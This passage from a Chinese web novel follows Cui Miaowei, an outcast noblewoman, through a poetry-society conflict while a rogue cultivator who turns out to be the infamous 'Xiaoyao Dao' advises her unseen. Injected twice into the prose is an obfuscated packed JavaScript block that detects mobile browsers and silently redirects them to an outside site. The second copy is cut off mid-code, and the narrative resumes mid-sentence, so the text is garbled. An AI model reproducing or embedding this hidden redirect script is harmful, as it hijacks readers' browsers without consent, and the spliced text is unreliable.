崔妙微心中最主要的事情,一直都是赢了赌约,让施令岐信守承诺地离开,她不觉得自己未来有胆子杀人,说实话,她甚至不能确切地肯定‘命运’之说是真的。 就算是真的,邪修真的会好心帮助别人改变命运吗,他有太多办法控制崔妙微不要重复命运了,更何况是一个会千里传音,甚至预言命运的邪修,他必定是付出了极大的代价才得到这些东西,相对应的,施令岐对崔妙微可能是有着等价甚至更为恐怖的图谋。 她需要时刻保持警惕。 崔妙微犹豫许久,试探道:“我答应和你再打一个赌,如果我赢了,我想知道在预言中,我杀害的那个人是谁。” 施令岐并不意外崔妙微会好奇这个问题,他抬头看了看天色,估计着时间,起身把画好的符纸放好,尽管早就准备好了,但他还是把带来的法器都拿出来又重新检查了一遍,以免有遗漏,边道:“这个不用算赌注,如果你失败了,为了更好的合作,我肯定会告诉你更详细的前因后果,最迟也就今晚,如果你成功了,知道这个也没有任何意义,换一个吧。” 崔妙微眉头紧锁,不知道他是真的觉得这个问题问的浪费,还是只是单纯的不想告诉她。 她静静地想了一会,最后试探道:“那我能不能先攒着,等我有需要了再兑现?” 施令岐答应了。 现在初春,外面阴雨绵绵,冷风一吹,崔妙微忍不住打了个寒颤,惊觉额上又出了一层汗,她拿手帕擦了擦,收拾了一下,便赶紧去找骆初静了。 诗会即将开始,众人都顺着长廊聚到了举办诗会的廊中亭,崔妙微在曲折的长廊中穿行,一路通畅,没一会就远远看见了骆初静和赵贞。 二人在长廊中漫步,路过的女郎都会向骆初静问安,因而二人时不时就要停下来说说话。 施令岐边清点法器,边关注崔妙微的人际关系,这一路听过来,他敏锐道:“骆初静好像比你受欢迎很多。” 崔妙微躲躲藏藏地跟着,闻言垂了垂长睫,“长姐她性子好,有文采,正直又心善,行事落落大方,最维护诗社中的环境,平常诗社里有女郎受欺负了,她不管对方的身份地位,都会出头,大家喜欢她很正常……我也喜欢她。” 潇湘诗社闻名天下,起自长安,在大唐各地有数个分社,诗社成员皆是当地豪奢权贵之女,是当之无愧的大唐第一女子诗社,贵族女子无不以入潇湘诗社为荣。 骆初静虽是昌平公主养女,但善于交际,性格正直,当选潇湘诗社社长后大刀阔斧,让有文采的平民女郎也能入潇湘诗社,还常常为这些平民女子撑腰,不惜得罪权贵之女,因而渐渐在整个洛阳都有美名,极得人心。 在公主府中,人人都对崔妙微避之不及,骆初静却敢对崔妙微关照。 崔妙微可以肯定,骆初静肯定会说到做到,帮她教训赵贞。 很快,骆初静二人找了个偏僻的角落停了下来,隔得太远听不到在说什么,好在长廊曲折徘徊,崔妙微犹豫一会,从反方向绕了个圈,在她们背后的拐角处躲着偷听起来。 4. 第四章 两人一路走过来,显然已经聊了一会了,骆初静现下正在说下个月诗会的事,“咱们常咏花鸟这些俗物,都写倦了,三月诗会,我想到玉虚观去办,只是阿娘向来不喜这些方士……” 方士便是修士的代称,如今天子打压求仙之道,对方士之流也态度暧昧,时亲时远,昌平公主许是避嫌,在洛阳是出了名的不喜方士。 赵贞向来趾高气昂,但对骆初静却很信服,她一路为骆初静打帘子,边打趣道:“若是旁人,公主恐怕不悦,可要是静娘,公主定不会说一个不好的。” 骆初静似乎有些不好意思,亲昵地点了点赵贞的鼻子,“你就是嘴甜……说到这里,我还有件事要问你,奉珠的事,大家都知道,只有可能是逍遥道干的……” 赵贞吓了一跳,骆初静话还未说完便被她打断了,“静娘,你怎么把……的名号随意宣之于口。” 骆初静也反应过来,用帕子按了按唇,有些懊恼,“我不小心说出来了。” 逍遥道是个灵力高强声名狼藉的邪修,这邪修一味采生却甚少需要静修,道术天赋堪称当代第一人,本该潜心修炼,成为正经修士,造福一方百姓,他却离经叛道不走正途。 寻常修士通常只被允许学一到三种术法,天赋卓绝者可适当放宽,他却不知从何处习得令人咋舌的百种术法,其中大多是伤天害理为朝廷所不容的禁术,由此被认定为邪修。 数年前方才显名,就引起正道忌惮,碍于抓不到他采生的证据,因而隐忍不发,他却毫不收敛,极其嚣张狂妄,对诸多方士不论正邪都主动挑衅,待到对方忍不住要与之斗法,其就借着‘师出有名’大肆灭杀,汲取灵力,强大自身。 如此奸恶狡诈,肆意妄为,正邪不分杀人如麻,没多久就引发众怒,可都拿他毫无办法,慢慢便让正邪两道都闻风丧胆,各自剿了几次都吃了大亏。 长安最德高望重的老道主动出头与他讲和,他却声称只愿意斗法,要签生死状,赢者生败者死,不愿意讲和。 老道答应了,两人斗了一天一夜,他硬生生把那极负盛名有百年功力的老道斗得断臂求生,连夜逃出了长安。 他年纪轻,不提一身高深的道术,灵力竟然也深厚到如此地步,众人皆猜他至少要采生千人才能积累这么多灵力,连老道都无法抗衡。 后来他名声越来越显,甚至有采生一整个村子的流言传出,诸多方士联合状告到朝廷,事后也不知如何处理的,他依旧活跃到现在,众道皆是敢怒不敢言。 他姓施,不知本名,又没有道号,行踪莫测,据传十分残酷暴戾,形容丑恶,时间久了,就被取了个逍遥道的诨名,暗讽他行事过于不羁只顾自己逍遥,他虽只在长安出没,但早已声名远扬,在洛阳也堪称家喻户晓,等闲人不敢提起。 此次赵奉珠被偷魂的事,实在离奇,民间诸多猜测,除了五独之人克害的流言,流传最广的便是逍遥道所为。 崔妙微暗自也有这样的怀疑,只是没有人愿意和她讲闲话,因此只憋在心中。 施令岐一直旁听,闻言很轻地嗤笑了一声,“假的。” 崔妙微不明所以,又恐引起骆初静二人主意,只能先按下不表。 骆初静二人都有些心慌,好在这里虽偏僻,但也有香炉,二人各自给仙人上了香,看着香烟升起,似乎真的能传递给如今不知身在何处的仙人,这才安心,便把逍遥道揭过不谈了。 骆初静用帕子擦了手,神情慢慢严肃起来,她看着赵贞,“你今日为何要非议排挤郡主?她不是那种暗中克害旁人的人,而且你知道的,我素来不喜你们拉帮结派欺负人的,这些日子你确实有些过分,奉珠以往总让我照顾你,她走了以后,我顾及你情绪不好,不愿意教训你,可你为何总是欺负郡主?明知道她是最好脾气不过了。” 赵贞一怔,压着脾气擦了手,恼羞成怒道:“我没有!是郡主向你告状了?” 骆初静无奈道:“怎么会?你就是性子太急了,谁敢告你的状?是我碰巧听到了,郡主还让我不要和你计较。” 听到这里,崔妙微悄悄松了口气,她阻止不了骆初静教训赵贞,但起码这个赌她赢了。 崔妙微不打算再偷听,立刻缩着身子往后退。 赵贞却恼怒道:“郡主一定就是故意的,她就是爱装出一副善解人意的样子,好像全天下就她最善良了!说不计较,还不是让你来教训我,怪不得连裴二郎都受不了她,只和你亲近了!” 崔妙微顿时停住了脚步。 骆初静则脸色一变,飞快地皱了皱眉,又左右看了看,沉声道:“二娘,你先是非议郡主,现在又要讲我的闲话了吗?你明知道我与裴二郎只是因为奉珠的案子才走的近了一些!” 赵贞自知失言,话说出口便后悔了,懊恼道:“静娘,我就是随口一讲,你不要生气才是,大家都可惜裴二郎那么好的家世品貌,却和郡主定了亲事,这才有些议论,我也是嘴快了……” 骆初静却不再和颜悦色,语气严厉道:“潇湘诗社虽只是诗社,可文懿皇后曾说过,人的品德高于才华,只要不欺负人,我是向来不管诗社的人际关系的,但你这般非议人,日后若是人人效仿,女郎们都成了坏女孩,诗社的风气岂不全坏了?你今日一定要当众向郡主道歉才是,否则不怪我不讲情面,将你赶出诗社了!” 赵贞似乎不知骆初静为何忽然如此严厉,红了眼眶,强撑着辩解起来,“是郡主先不守规矩坐到亭中来的,按照上次的惩罚,她的‘专座’该在庭院中才是……” 说着,赵贞似乎伤心起来,“她害了我长姐,受些排挤又如何!她可是五独之人!” 骆初静面无表情地看着她,“诗社的规矩你不知道吗?诗会开始之前的小叙,坐在哪都行,只有写诗的时候才一定要坐在专座上!奉珠的死官中都没有定论,你哪来的官威定了郡主的罪!” “郡主的品行你我心知肚明!你们往常欺负排挤,她向来不放在心上,怎么会因为专座的事就克害奉珠?” “还有你总把五独之人挂在嘴边,可你生来六指,诗社中却从来都没人放在嘴边讲,你但凡多想想,就知道自己有多过分!” 六指被视为破相,赵贞忍不住蜷了蜷手指,又见骆初静分寸不让,赵贞想要辩解什么,最终也吞回了肚子里,她心中羞恼,眼中含泪,咬牙道:“社长教训的是,我会找机会向郡主道歉的。” 骆初静却板着脸,“现在就去,当着众人的面,正好给最近新来的社员长个教训。” 赵贞一下瞪大了眼睛,不可置信地看着骆初静。 骆初静却毫不客气,扯着赵贞的袖子往廊中亭去。 二人拉扯着走近了,崔妙微立刻蹲下身子,避开了二人的视线,等二人走出长廊,才慢慢站了起来。 许是蹲久了,一时有些头晕目眩,崔妙微闭上眼睛,缓了许久才缓过来。 其实施令岐最先和崔妙微打的赌,不是赌她能不能感化赵贞,而是赌她的未婚夫裴善道今日会不会来。 裴善道出自河东裴氏,是户部侍郎裴衷的二子,自小就与崔妙微订了亲事,他每年年初起就会来洛阳读书,年末再回去,只要他身在洛阳,几乎日日都会来公主府与崔妙微见面,去年裴家要留他在长安做官,他却执意要来洛阳,裴家无法,为他谋了一个殿中侍御史的职位,有巡查两京之责,便于在两京间往返。 以往崔妙微只要出门,裴善道必然陪伴左右,他生的俊美又性情温和,人缘极好,有他在,没有人敢明目张胆地排挤崔妙微。 可今年走马上任以后,裴善道就总是忙的不见人影,崔妙微体贴他新官上任,从不烦扰。 裴善道既是崔妙微的未婚夫,也称得上崔妙微唯一一个亲近的朋友了。 施令岐不知有意无意,一开始便巧言挑拨,声称裴善道忙的不见人影不是为了公务,按照命运预言,他是有了别的喜欢的人。 崔妙微自然不信,与施令岐打赌,裴善道会不会按照约定和崔妙微一起参加今日的诗会。 裴善道从小到大都没对崔妙微食言过,这次也答应的好好的,昨日却忽然说公务繁忙来不了了,崔妙微遣人去他衙门里问,结果衙门说他今日休假。 若是真有急事需要请假,裴善道为什么要对她撒谎呢? 崔妙微就是因为这件事,才对施令岐的预言信了三分。 施令岐一直抱臂旁听,此刻垂下眼帘,道:“裴善道和骆初静的关系很好吗?” 崔妙微立刻回神,下意识解释道,“我们一齐青梅竹马长大的,裴二郎最近公务繁忙,赵奉珠的案子就是他在查,长姐会些武术,又与赵奉珠熟稔,也许知晓什么内情,能帮上他的忙,这才亲近了许多。” 说罢,崔妙微迅速换了话题,“刚才长姐提到逍遥道害了赵奉珠的时候,你为什么说‘假的’。” 崔妙微边说,也起身去给仙人上了柱香。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193439|197099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千年前灵气渐渐消散,仙人们互相争斗,照古籍记载,仙人们都打死了,但从古至今都没人相信是真的,大家都觉得仙人无所不能,不再出现只是飞升到了另一个世界。仙者,人之靠山也。从前会为了子民改天换地,如今也会在天上默默地照应着众人。 时人对方士的追捧其实就是对求仙的追捧,对仙人的狂热,有任何忌讳的,只要给仙人上了香,心中便觉得安心,平民百姓家中可以没有锅碗瓢盆,但一定要有个开过光的香炉,权贵人家就更不提了,就像公主府,光是这个半山亭,香炉便随处可见,粗略一数便有十来个。 施令岐知道她在逃避裴善道的事,没有回答她的问题,也没有逼问回去,反而道:“你声称自己从小就行善积德从不做坏事从不克任何人,心中从无恶念,为什么在这些排挤你的女郎眼中,你比逍遥道都可恨?” 崔妙微本就对此敏感,最怕别人说她是坏人了,现在施令岐还说在女郎心中她比逍遥道都可恨,她立刻便放了香,凝眉道:“你还是觉得是我杀了赵奉珠?” 崔妙微的态度第一次变得有些生硬,她尽量压抑着喉头的涩意,轻声道:“就因为我是五独之人,所以我就比那个声名狼藉的邪修都坏吗?道长宁可怀疑我,也不怀疑他?” 崔妙微强忍着心中的压抑,不敢想旁人又是怎么想的,无比地后悔自己这几个月为什么不能多坚持一下,为什么要那么瘦弱,如果她没有生病,就能像以往无数次那样,只要忍一忍,按时参加诗会,就不会被人怀疑,进而卷入这样怎么也说不清的事情中了。 施令岐对她的反应有些诧异,暂时没有说话,给了崔妙微一些时间冷静,等她的呼吸不再那么急促了,才缓缓道:“我只是想问问你,你既然都做的这么好了,她们为什么会讨厌你?” “比起因为五独命格的惧怕,她们显然过激了很多。赵贞甚至会为了一个没有根据的猜测就要陷害你,这难道不奇怪吗?” 施令岐没觉得赵贞几人有谁害怕崔妙微的,不把她捏起来玩都不错了。 如果崔妙微未来真的杀人,大概率也是憋疯了。 崔妙微怔了怔,一时不知道该说什么,过了好一会声音才声音沙哑道:“对不起,是我想多了,我太敏感了……我也不明白,可能是我做的还不够好,让大家误会我了,刘二娘,就是那个附和赵贞的人,她出身普通,遭人排挤,去年她参加宴会时被人捉弄,差点摔倒,是我扶住了她,为此还扭伤了脚……” 崔妙微低下头,轻声道:“至于赵贞,我也觉得有些奇怪,但想想也说得通,她误会我克害了赵奉珠,又无法接受赵奉珠骤然离世,只能怀疑到我身上,赵贞虽为人跋扈,谁都不看在眼里,就因为赵奉珠与长姐关系好,在诗社中就从不顶撞长姐。” 崔妙微解释完了,施令岐却不再说话了,崔妙微不知道他有没有相信自己,忍不住问道:“那……你觉得是逍遥道做的吗?” 施令岐在想潇湘诗社里的关系构成,闻言坦诚道:“不是。” 崔妙微的睫毛颤了颤,“为什么?我哪里做的还不够好吗?大家都觉得是我,你也怀疑我,这么多年,我从来没有做过一点坏事,我……” 崔妙微一时说不出话来,颓废地靠在柱子上。 “你为什么总是喜欢把坏事把自己身上想?说不是逍遥道就是在怀疑你吗?”施令岐察觉到她的情绪,暂时把诗社的事放在一旁,平静道:“这和你没有任何关系。” 怎么会没有关系?崔妙微想说你根本就不知道,身为一个五独之人,对这种事有多么的敏感,施令岐先前就质疑过她是否和赵奉珠的死有关系,可是到了这个声名狼藉的大邪修身上,他别说质疑了,竟然想都不想就说不是…… 难道一个从不作恶的五独之人,在人们心中都不如一个恶名在外的邪修吗? 可她还没开口,施令岐便道:“因为我就是那个所谓的逍遥道。” “我没干。你说不是你,那你也没干。那么这件事在这个角度上和我们都没有任何关系。” 崔妙微怔住了。 施令岐没管她心中的波涛汹涌,让她打起精神来,接着说了几个诗社女郎的名字,让她详细讲讲这几个人的关系,分别和崔妙微有什么渊源,边道:“我就算怀疑你又能怎么样?你只是多了个善后的人。至于其他人的想法,这也是改变命运的一部分,未来我们会解决。现在,振作起来专注眼前的事。” 5. 第五章 施令岐就是逍遥道? 崔妙微一边为施令岐介绍这几位女郎平日里是怎么相处的,以及和自己有什么样的渊源,一边在脑中飞快地回忆起自己听闻过的有关逍遥道的事情,越想越觉得后背发寒,方才心中那股郁气也立刻被抛之脑后了。 想的越多,就觉得越对的上号,尤其是施令岐确实术法高超,他能学会这么厉害的术法,必然需要大势采生……和传言也能对上。 施令岐却仿佛并不觉得自己刚才的话有多让人害怕,他安静地听崔妙微介绍,而崔妙微还沉浸在他就是逍遥道的震撼中,心慌意乱之下无法专注,讲话也有些颠三倒四。 施令岐并不打断,等崔妙微磕磕绊绊讲完了,他又问了一些细节,这才道:“放轻松一点,不仅我对你的看法影响不了你的生活,我是谁同样也影响不了我要帮你改变命运,而且我现在也不觉得赵奉珠是你杀的,在这件事情里,奇怪的地方太多了,一个邪修,跑到道观里偷魂?正常人不会干这种事,他不是疯了就是另有所图。” 施令岐说完,又提起了崔妙微刚才介绍的女郎们,他点的这几个名字,都是刚才听到的亭中比较活跃的女郎,崔妙微简单地介绍几人的关系,还有几人与崔妙微之间的交往的一些细节,再结合先前这群人在亭中对崔妙微的排挤,他大概能推测出潇湘诗社的权利构成和整体风气,想了想,道:“比起纠结赵奉珠的事,你还是多考虑一下怎么改善你的人际关系吧。” 施令岐直白道:“我不能断言这些人为什么会这么讨厌你,但你几乎只和潇湘诗社的人有交集,这个诗社风气又很差,赵贞能成功陷害你,大概率也和社风有关,大家都只想看热闹,或者跟着赵贞踩你一脚,即使没那么讨厌你,也难免从众,这样的地方是不会有什么好事的,而且长此以往下去,对你的排挤只会愈演愈烈,今日是赵贞,明日就是刘贞,钟贞……有什么不顺心的事都要来找你吗?” 你还照单全收。 崔妙微大概明白他的未尽之言,心中有些难堪,只能装作不在意。 她也不敢再说逍遥道的事,只想说她刚进诗社的时候,也是有过一个朋友的……也许因为她是五独之人,两人最后还是疏远了。 她身为五独之人,除了诗社几乎无处可去,而五独之人想要改善人际关系更是天方夜谭,谁会敢和她交好? 施令岐大概猜到崔妙微在想什么,他垂了垂眼帘,给了一点时间让她缓冲,接着适时地提供了自己的建议,“你没有其他的交友途径,也改变不了诗社的风气,但你也可以通过别的方式改善你的人际关系,比如可以先试着改变自己在诗社中的地位。” “赵贞生来六指但无人敢非议,就是因为她在诗社中地位比你高。” “这件事你迟早得解决,眼前就有一个机会,赵贞要当众对你道歉,按照你刚才的说法,她在诗社中有自己的小团体,并且行事作风也很过激,你完全可以联合骆初静,一起趁机打压赵贞,树立自己的威信。” 施令岐最后道:“只看骆初静刚才的行为,我觉得她会配合你。” 施令岐在此刻又仿佛一个值得信赖的师长,为学生的功课给出可靠的建议,然后鼓励学生勇于尝试……可这件事并不是真的做功课啊,打压赵贞,怎么打压呢?当众欺辱她吗?或者更激烈的手段?还要联合长姐…… 崔妙微一下就清醒了,不再沉浸在方才那股难堪中,她不愿意去细想施令岐的意思,只知道自己一点不好的事也不想做,更不能做。 崔妙微只能小心翼翼道:“谢谢道长,但是……我觉得这么做不太好,这一切都因为我没有做好,让大家误会我心有恶念,怀疑我克害了赵奉珠,赵贞也不是坏人,我知道她不是故意的,只要我好好表现,解开误会就好了,诗社的女郎其实也挺好的,我相信大家都是好女孩,等解除了误会,大家知道我不是心有恶念的人,自然就能和谐相处了……” 崔妙微说完,还故作轻松地笑了笑,仿佛诗社平日里真的很和谐一般,接着便忐忑地等着施令岐回应。 “你觉得这么做不太好?”施令岐没忍住嗤笑了一声,他靠在椅背上,看了一眼窗外的天色,语气平静道:“那这件事先放在一边,你注意时间,专注自己的计划吧。” 施令岐也没有太多时间和崔妙微讨论这个问题,不管崔妙微能不能成功感化赵贞,他都必须为可能需要的救场的做好充足的准备。而崔妙微的人际关系迟早要解决,施令岐虽然对她的‘感化法’持悲观态度,但现在的形势还有容错的空间,她自己的办法如果真的可以应对,那自然是最好的,如果不行,她最终还是要听施令岐的。 崔妙微垂着头,小小地松了口气,她忽略掉施令岐那声意味丰富的嗤笑,只轻声道:“谢谢道长,我会注意的。” 崔妙微在这个小角落冷静了一会,顺着长廊拐去了另一边,悄悄回到了廊中亭,低着头穿过人群,找了个角落待着。 没一会,骆初静便领着赵贞回来了。 赵贞哭红了双眼,骆初静直直把她带到主座,抚掌让所有人都看过来。 大家都围拢过去,骆初静在人群中看了一圈,很快锁定到了角落中的崔妙微。她扬起手,示意让崔妙微也上前。 众人好奇地看着赵贞,看看骆初静,又看看崔妙微,小声地议论起来,赵贞咬着唇抬着下巴,一言不发。 崔妙微心中尴尬,更多的是抗拒,僵持一会,只能在众人的视线中上前,还要装作不知情道:“这是怎么了?” 崔妙微看着赵贞,似乎忽然反应过来了,低声道:“长姐教训贞娘了吗?这里边有误会,有什么事情,我们去厢房中谈吧。” 赵贞一直低着头,闻言也连忙看向骆初静。 骆初静却看也不看赵贞,只自顾自地对众人解释道:“赵贞带头非议郡主,实在不妥,郡主不欲追究,我身为社长却不能姑息,以免乱了诗社的风气,现在诗赛先放在一边,让赵贞当众向郡主致歉,大家都过来看着,引以为鉴。” 当众道歉? 长廊中顿时躁动起来,诗社还没有出过这样的事呢。 且还是赵贞……她可以说是洛阳身份最贵重的几个女郎之一了,不说姑母如今是圣人最得意的宠妃,阿爹赵明府在洛阳也是位高权重。 刘二娘等与赵贞关系好的都瞪大了眼睛,忍不住要上前询问赵贞,只是看着面色冷肃的骆初静,一时不敢轻举妄动。 诗社中关系复杂,骆初静身为社长最得人心,赵贞家世出众也有一批拥趸者,两方虽偶有摩擦,但向来是避免起冲突。刘二娘此刻便为难起来。 刘二娘等人一踌躇,各种意味不明的眼神就都聚集在了赵贞身上。 崔妙微抿着唇,只觉得这个场景与众人在廊下冷漠地打量‘专座’时的样子十分相似,略感不适地偏了偏头,“长姐,我明白你的心意,但这事关我的私事,我想与贞娘私下协商。” 骆初静还未说话,她身边一个着青衣的女子便不满道:“一开始是郡主的私事,现在已经是诗社的大事了,赵贞日后若是对旁人也这般,大家也要忍气吞声吗?静娘是为了大家出头,郡主可不要横插一脚。” 说话的人是骆初静的好友,方才也在亭中就座的宋三娘,也是施令岐询问过的女郎之一,她向来不喜崔妙微,很少与她搭话,这次插话,只是因为宋三娘早就对赵贞有所不满,可赵家势大,她不敢招惹,好不容易有一个机会,自然不肯轻易放过。 宋三娘说完,本来事不关己的女郎们都反应过来,目光中略带谴责地看着崔妙微。 赵贞仗着家世出众,又爱拉帮结派,近来愈发过分,在诗社中堪称横行霸道,被她明里暗里欺负过的女郎可不少,大家暗地里早就怨声载道了,只是碍于赵家权势不敢放在明面上讲,如果能借此机会教训一番,不管如何,也算出了口恶气。 崔妙微一时语塞,她最会看脸色,如何不知再讲便要惹上众怒了,权衡之下,只能先闭上了嘴。 赵贞则冷冷地瞥了一眼宋三娘,心中给她记了一笔,再看众人这般围着自己,心中只觉屈辱,但也明白骆初静已经容忍她许久了,到底还是低了头。 只是她终究不服气,看也不看崔妙微,撇着脸隐忍道:“今日是我背后失言,冒犯了郡主,请郡主原谅。” 宋三娘被赵贞的眼神吓了一跳,心中已经有些后悔方才的冲动,但还是强撑着扬起了头,做出一副为了诗社的坦然模样,边看着崔妙微,希望赵贞能在这吃瘪。 崔妙微却不在意宋三娘,听赵贞道歉了立刻便点头,语气真挚道:“我知道贞娘是无意的,此事我们便携手丢过不提了。” 赵贞连个正眼也不给崔妙微,反而握了握拳头,转身便要离开。 没想到崔妙微就这么放过了赵贞,宋三娘心中暗恼,但方才那股意气过去了,也不敢再出头打压赵贞了,只偷偷瞪了崔妙微一眼,装什么大方…… 无人出头,崔妙微也原谅了,女郎们虽失望,但也不敢再出声,低声议论几句便要散开了。 骆初静一直沉默地看着,此时不知为何忽然皱起了眉,道:“妙微是郡主,平日里赵贞你就常常无视礼节,现在向郡主道歉,更应该行稽首礼以表决心,否则大家如何相信你日后不会再犯呢?” 赵贞家世出众,自身却无品阶,正式场合遇到郡主该行稽首礼。 骆初静此番话看似有道理,但其实本朝于礼仪方面向来宽和,就算是在正式场合,跪拜大礼也形同虚设,多是行福礼。 赵贞原本都要走出去了,心中已是恼怒非常,闻言顿时瞪大了眼睛,不可置信地转过头,她不看骆初静,反而恨恨地瞪了崔妙微一眼。 崔妙微被她瞪得吓了一跳,心中觉得莫名,偷偷看了眼骆初静的神色,语气和缓道:“不必了,我本来就没有怪罪贞娘,贞娘也是误会了我才会这样,既然她已经道歉,我相信她日后不会再犯的,若是再犯,长姐再教训也不迟,此事便到此为止吧,比起此事,我更想与贞娘关系和睦,况且诗社中从无身份地位的差别,只论学问,若是行此大礼,诗社中的规矩都乱了,大家日后都不知该如何相处了。” 赵贞神色难堪,一副不堪受辱的模样,也不应和着说句软话,众人也等她一个态度,不肯轻易揭过,眼看就要僵持起来,崔妙微心中疲惫,想了想,把手中的帕子递给赵贞,主动给她一个台阶下,“以此做手帕之交,证明贞娘决心悔改了。” 赵贞咬了咬唇,看着四周众人异样的目光,知道自己此刻不占上风,到底也地接过了帕子,二人便算是讲和了。 骆初静打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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骆初静挣脱不开,只能停了手,崔妙微还没来得及松口气,就见骆初静侧过脸,仿佛十分受伤,“我替郡主出头,郡主还要做好人吗?难道贞娘说的都是真的?” 崔妙微一愣,没想到她会突然这样,连忙松了手,“长姐,我……” 宋三娘见骆初静伤了心,连话都不许崔妙微讲完,一把便将她推开,“郡主你仗着是公主的亲女,让静娘受了多少委屈?静娘总是不计前嫌地照顾你,到了这种时候,你还要在背后捅静娘一刀吗?” “真不愧是五独之人!” 崔妙微动作一僵,悄悄抬眼,就见众人都义愤填膺地看着自己,她一时难堪地说不出话,想给个笑脸,又觉得不合时宜,只能慢慢收回了手,扯了扯嘴角。 骆初静有些伤心地侧过了脸,还轻轻推了推宋三娘,示意她不要说了。 现在无人阻拦,几人一齐将赵贞压了下来。 赵贞孤立无援推拒不开,竟然真的跪下来了,她立刻哭了起来,她不怪罪骆初静等人,反而恨恨地瞪着崔妙微,“你故意的!故意让社长教训我,故意激社长让我给你下跪!你果然是天生恶种!克死了奉珠不说,还要来害我!你迟早要给奉珠偿命!” 骆初静气急,似乎没想到赵贞这也能怪到崔妙微的身上,恨铁不成钢道:“我教训你,是你该教训!不反思自己的错处,还反过头指责郡主,郡主的品行比你好多了!” 崔妙微的冷汗都流到睫毛上了,滴到眼睛里,涩涩的疼,她想把赵贞扶起来,却被赵贞狠狠地推开了手。 赵贞恼怒道:“不要你装好人!” 骆初静见状,更不可能松手了,赵贞挣扎着起不来,见众人居高临下地看着自己,一时激愤,口不择言道:“郡主就是五独之人!能有什么好品行?谁不知道她是天生恶种!她一出世,就把驸马都克死了!” “五独之人就该被‘关死’才对!” 此言一出,亭中顿时安静了,众人都震住了,偷偷瞥向崔妙微。 骆初静等人互相看看,显然没想到赵贞会说出这样的话,赶紧松了手,任由赵贞瘫软在地上。 崔妙微僵硬地收回了手,脸色变得惨白。 大家默不作声地看着二人,一时没人敢说话。 本朝对于五独之人的处理办法就是,一经发现,全部‘关死’。 ‘关死’就是专门杀死五独之人的刑罚,动手的人害怕被五独之人记恨,先请方士开坛做法,接着在五独之人的饮食中放入迷药,待五独之人沉睡以后,便将五独之人放入一个密闭的箱子之中,箱子不会太大,五独之人站不起来,也坐不下去,就这样关到死。 众人平日里虽对崔妙微多有排斥,私下里也会议论她克死了自己的父亲,但到底只是流言,这么多年洛阳也没谁被克出事,所以从来没有将这种话宣之于口过。 崔妙微僵硬了一会,慢慢把赵贞从地上拉了起来。 崔妙微一动,刘二娘几人已经不能再躲,连忙过来把赵贞扶住。 赵贞自觉受了奇耻大辱,一把把所有人推开。 崔妙微缓缓把手收回来,平静地对骆初静道:“长姐,我知道你为我好,但这件事就到此为止吧,贞娘年纪小,本就是因误会才有了几句随口闲话,我是不会放在心上的。” 骆初静的面色有些尴尬,又有些愧疚,似乎也没想到事情会变成这样,只能干巴巴道:“那就好……” 崔妙微又安慰了赵贞几句,见她一声不吭,便说累了,“我寻个僻静出休息一会,等诗赛开始,长姐再遣人来叫我吧。” 说罢,崔妙微立刻转过身,没管骆初静有没有回应,在众人沉默的注视中,独自离开了廊中亭。 6. 第六章 崔妙微越走越快,直到把廊中亭远远地甩在身后,才慢慢停下脚步,在长廊中找了个偏僻的角落坐下,她闭上眼睛,疲惫地靠在围栏上。 过了大约半柱香的功夫,崔妙微煞白的脸色才慢慢好转,她擦掉额上的汗,把自己方才跑乱的裙摆整理好,便轻声唤了一声道长,“道长,长姐都让赵贞向我道歉了,所以刚才的赌算我赢了吗?” 施令岐把刚才的闹剧都听在耳中,但他没有发表什么意见,只嗯了一声,道:“当然了。” 崔妙微笑了笑,方才的事情好像并未影响到她,她轻声道:“我想到要什么样的赌注了,我知道我们一开始就说过,赌约之间不能互相干扰,但我还是想试一试……如果我失败了,将来真的需要你帮我改变命运,我会遵守赌约对道长言听计从,但请道长绝不要利用我五独之人的身份做坏事。” 在他们第一次打赌裴善道会不会参加诗会的时候,施令岐就说过赌约之间不能互相影响,也许他就是料到了可能会有这样的情况……但崔妙微还是想试一试,万一他觉得无伤大雅,愿意答应呢? 崔妙微说完,就垂下眼睛,紧张地等待回应。 施令岐没有直接回答,反而道:“我可以先知道为什么吗?” 崔妙微沉默一会,抬头望着远处的雨幕,“因为这个世界不欢迎五独之人……” “你也听到赵贞刚才说的话了,大家都觉得我克死了我父亲,我一出生就该被‘关死’,是阿娘当年向圣人力保,她会把我教养成一个心无恶念的人,一个不会害人的好女孩,我才能活下来。所以她对我很严苛,小的时候,我犯了错,就被‘关’过一次……” 从崔妙微有记忆起,她就一个人住在小院里,很少有人和她讲话,但周围却有无数双眼睛监视着她,把她的一言一行都上报给昌平公主。 昌平公主从不亲近她,好像甚至从来没有抱过她,却很重视她的品行,公主常常告诉崔妙微,只有做个心无恶念的人,做个无可指摘的好人,而且还要让大家都知道她善良宽容,不会害人,这个世界才容得下她。 小时候崔妙微还不明白为什么,只知道下人们都不愿意靠近她,她常常一个人坐着发呆,或者在院子里走来走去,有时候鼓起勇气和下人讲话,但很少有人理她,只有奶娘觉得她可怜,偶尔会逗逗她,所以那么多下人,她最喜欢奶娘。 有一次,奶娘给她做了桂花糕,还把她抱在怀里喂她吃,只许她吃两块。桂花糕好甜,奶娘的怀抱好柔软,崔妙微心里好高兴,不知道为什么害羞的不得了,非要口是心非装作不高兴,故意说奶娘小气,奶娘是坏人。 奶娘就揪揪崔妙微的鼻子,多给她吃一块,她就假装不经意地靠在奶娘的怀里,小心地一动不敢动,觉得嘴里的桂花糕甜的不得了,幸福地想要掉眼泪了。 这件事却很快被监视的人上报给昌平公主,昌平公主用玉如意把崔妙微的手心打的发肿,罚她跪了一夜,说她这么小就对把她奶大的奶娘如此狠心刻薄,长大了还得了?奶娘亲手为她做桂花糕,她竟然说奶娘是‘坏人’,心胸如此狭隘,谁敢与她相处?先是宣之于口,下一步,是不是就要克害‘坏人’了? 